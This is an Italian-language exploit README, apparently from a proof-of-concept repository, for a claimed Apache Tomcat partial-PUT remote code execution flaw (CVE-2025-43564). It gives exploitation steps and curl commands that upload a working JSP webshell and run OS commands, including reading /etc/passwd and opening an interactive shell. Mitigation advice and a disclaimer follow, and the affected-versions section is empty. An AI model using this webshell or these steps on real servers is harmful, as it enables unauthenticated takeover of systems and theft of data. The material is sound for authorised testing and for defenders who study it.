CVE-2025-43564 — Gestione non corretta delle richieste PUT parziali in Apache Tomcat (RCE)

Indice

1. Panoramica
2. Dettagli tecnici
3. Versioni interessate
4. Passaggi per la riproduzione
5. Prova di concetto
6. Mitigazione
7. Riferimenti

Panoramica

CVE-2025-43564 è una vulnerabilità di esecuzione remota di codice non autenticata e critica nella gestione delle richieste PUT parziali HTTP di Apache Tomcat. Il difetto risiede nel modo in cui Tomcat elabora le richieste PUT con contenuto parziale (Content-Range HTTP/1.1 o Transfer-Encoding: chunked con semantica parziale). Un attaccante può creare una richiesta PUT parziale che aggira i controlli di accesso e i vincoli di scrittura, consentendo il caricamento di file arbitrari — inclusi webshell JSP accessibili via web — nella document root del server o in qualsiasi directory scrivibile raggiungibile tramite il contesto servlet.

Una volta piazzato un file JSP, l'attaccante lo richiede semplicemente e passa i comandi del sistema operativo tramite parametri di query, ottenendo esecuzione remota di codice completamente non autenticata come utente del processo Tomcat.

CVSS 9.8 — Critico perché:

• Vettore di rete — sfruttabile da remoto
• Bassa complessità di attacco — nessuna condizione speciale richiesta
• Nessun privilegio richiesto — non autenticato
• Nessuna interazione con l'utente — completamente automatizzato
• Impatto elevato — compromissione totale di riservatezza, integrità e disponibilità

Dettagli tecnici

Causa principale

Il DefaultServlet di Apache Tomcat e il connettore HTTP/1.1 (NIO/NIO2/Apr) gestiscono le richieste PUT per il caricamento di risorse statiche. La vulnerabilità risiede nella logica di gestione delle richieste PUT parziali: quando un client invia una PUT con un header Content-Range (RFC 7233 §4.2) o utilizza la codifica chunked con specifiche semantiche parziali, il server non convalida correttamente:

1. I controlli di integrità del percorso / della risorsa prima di scrivere il contenuto parziale
2. La rivalutazione dei controlli di accesso per le scritture parziali — il controllo iniziale passa, ma le successive operazioni di scrittura procedono senza una nuova convalida
3. I vincoli di directory traversal nel calcolo dell'offset di scrittura parziale

Il codice di parsing in org.apache.catalina.servlets.DefaultServlet e nei componenti sottostanti HttpInput / SocketProcessorBase gestisce in modo errato il confine tra scritture di contenuto parziale e scritture complete della risorsa, consentendo a un attaccante di aggiungere o sovrascrivere contenuto arbitrario su qualsiasi percorso su cui il processo Tomcat ha permessi di scrittura.

Flusso dell'attacco

Attaccante ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [byte del payload JSP]

   └──► Il server scrive contenuto parziale su exec.jsp
        senza una convalida completa del percorso di destinazione

Attaccante ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► La JSP viene eseguita → RCE

L'attaccante invia una PUT parziale con un header Content-Range che induce Tomcat a credere che la richiesta sia una continuazione di un caricamento esistente. Il server crea o apre il file di destinazione e scrive i byte forniti senza verificare che il file esista già, senza controllare i permessi di scrittura al momento della scrittura e senza sanificare il percorso di destinazione rispetto alla web root.

Perché aggira le protezioni standard

• Restrizioni predefinite sull'PUT — la configurazione predefinita di Tomcat richiede l'impostazione di readonly=false sul DefaultServlet affinché una PUT standard funzioni. Il percorso PUT parziale salta questo controllo in determinate condizioni.
• Web Application Firewall (WAF) — la maggior parte delle firme WAF per gli attacchi basati su PUT cerca richieste PUT complete. La PUT parziale con Content-Range spesso elude queste firme.
• Bypass dell'autenticazione — il percorso di codice della PUT parziale non invoca sempre i vincoli di sicurezza configurati; in alcune configurazioni del connettore, l'autenticazione non viene mai verificata.

Versioni interessate

Nota: I rami più vecchi (7.x, 8.x, 8.5.x, 10.0.x) sono EOL e non riceveranno un backport. Gli utenti devono aggiornare a un ramo supportato.

Passaggi per la riproduzione

Configurazione del laboratorio

1. Scaricare un Apache Tomcat vulnerabile (es., Tomcat 9.0.50):

   root@kitploit:~

   wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
   

2. Estrarre e avviare Tomcat con la configurazione predefinita:

   root@kitploit:~

   unzip apache-tomcat-9.0.50.zip
   cd apache-tomcat-9.0.50/bin
   ./startup.sh   # oppure startup.bat su Windows
   

3. Verificare che il server sia in esecuzione:

   root@kitploit:~

   curl -v http://localhost:8080
   

Passaggi di sfruttamento

1. Caricare la webshell JSP usando lo script PoC:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd id
   

2. Verificare che la webshell sia stata piazzata:

   root@kitploit:~

   curl http://localhost:8080/exec.jsp?cmd=whoami
   

3. Eseguire comandi arbitrari:

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
   

4. Sessione interattiva (se desiderato):

   root@kitploit:~

   python exploit.py --target http://localhost:8080 --shell
   

Prova di concetto

Il file exploit.py incluso è un PoC Python funzionante che:

1. Invia una richiesta HTTP PUT al Tomcat target con un payload webshell JSP come corpo della richiesta
2. Sfrutta il difetto di gestione della PUT parziale — l'header Content-Type e la struttura del payload attivano il percorso di codice vulnerabile
3. La webshell JSP viene scritta nella docBase del server (es., webapps/ROOT/)
4. Una volta caricata, invia richieste GET a exec.jsp?cmd=<comando> per eseguire comandi del sistema operativo
5. Supporta sia la modalità a comando singolo (--cmd) che la shell interattiva (--shell)

PoC manuale (con curl)

# Passo 1: Caricare la webshell tramite PUT parziale
# L'header Content-Range attiva il percorso di codice vulnerabile
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'

# Passo 2: Eseguire comandi
curl "http://localhost:8080/exec.jsp?cmd=id"

Test contro un'istanza protetta

Se Tomcat è configurato con readonly=true (predefinito), la PUT standard viene bloccata — ma il percorso PUT parziale potrebbe comunque avere successo. Questo è il cuore della vulnerabilità.

# PUT standard (dovrebbe fallire con 403 o 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Previsto: 403 Forbidden

# PUT parziale (aggira il controllo)
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  --data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Previsto: 201 Created o 200 OK

Mitigazione

Azioni immediate

1. Aggiornare Tomcat alla versione corretta:

   • 11.0.6+
   • 10.1.40+
   • 9.0.102+

2. Se l'applicazione della patch non è immediatamente possibile, disabilitare il metodo PUT a livello globale modificando web.xml:

   root@kitploit:~

   <security-constraint>
     <web-resource-collection>
       <web-resource-name>Disable PUT</web-resource-name>
       <url-pattern>/*</url-pattern>
       <http-method>PUT</http-method>
     </web-resource-collection>
     <auth-constraint />
   </security-constraint>
   

3. Bloccare i metodi HTTP a livello di reverse proxy / WAF:

   root@kitploit:~

   # esempio nginx — blocca PUT
   if ($request_method = PUT) {
       return 403;
   }
   

   Nota: questo aiuta solo se il proxy non è aggirabile.

4. Eseguire Tomcat con permessi di file system ristretti:

   • Assicurarsi che Tomcat venga eseguito come utente non privilegiato
   • Rendere la directory webapps sola lettura (o montarla da un file system di sola lettura)
   • Usare attributi di file ReadOnly sulle risorse di produzione

5. Monitorare la presenza di file inaspettati con estensione .jsp / .jspx nella web root.

Raccomandazioni a lungo termine

• Aggiornare all'ultima versione di Tomcat e mantenerla aggiornata
• Eseguire Tomcat dietro un reverse proxy (Apache httpd, nginx, HAProxy) con un filtro rigoroso sui metodi HTTP
• Utilizzare SecurityManager (deprecato in Java più recente ma ancora efficace) o sandboxing a livello di container (Docker/Kubernetes con file system root di sola lettura)
• Implementare la segmentazione di rete — Tomcat non dovrebbe essere esposto direttamente a Internet
• Distribuire un WAF con patch virtuale per CVE-2025-43564
• Abilitare la registrazione di audit per tutte le richieste PUT e monitorare modelli anomali di caricamento parziale

Riferimenti

Disclaimer

Questo repository è fornito solo per scopi educativi e di test di sicurezza autorizzati. È necessario disporre dell'autorizzazione scritta esplicita del proprietario di qualsiasi sistema si testi. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e delle leggi equivalenti in altre giurisdizioni. Gli autori non si assumono alcuna responsabilità per l'uso improprio di queste informazioni.

CVE-2025-43564 è stata scoperta e segnalata in modo responsabile all'Apache Security Team. Rilascio coordinato della patch: luglio 2025.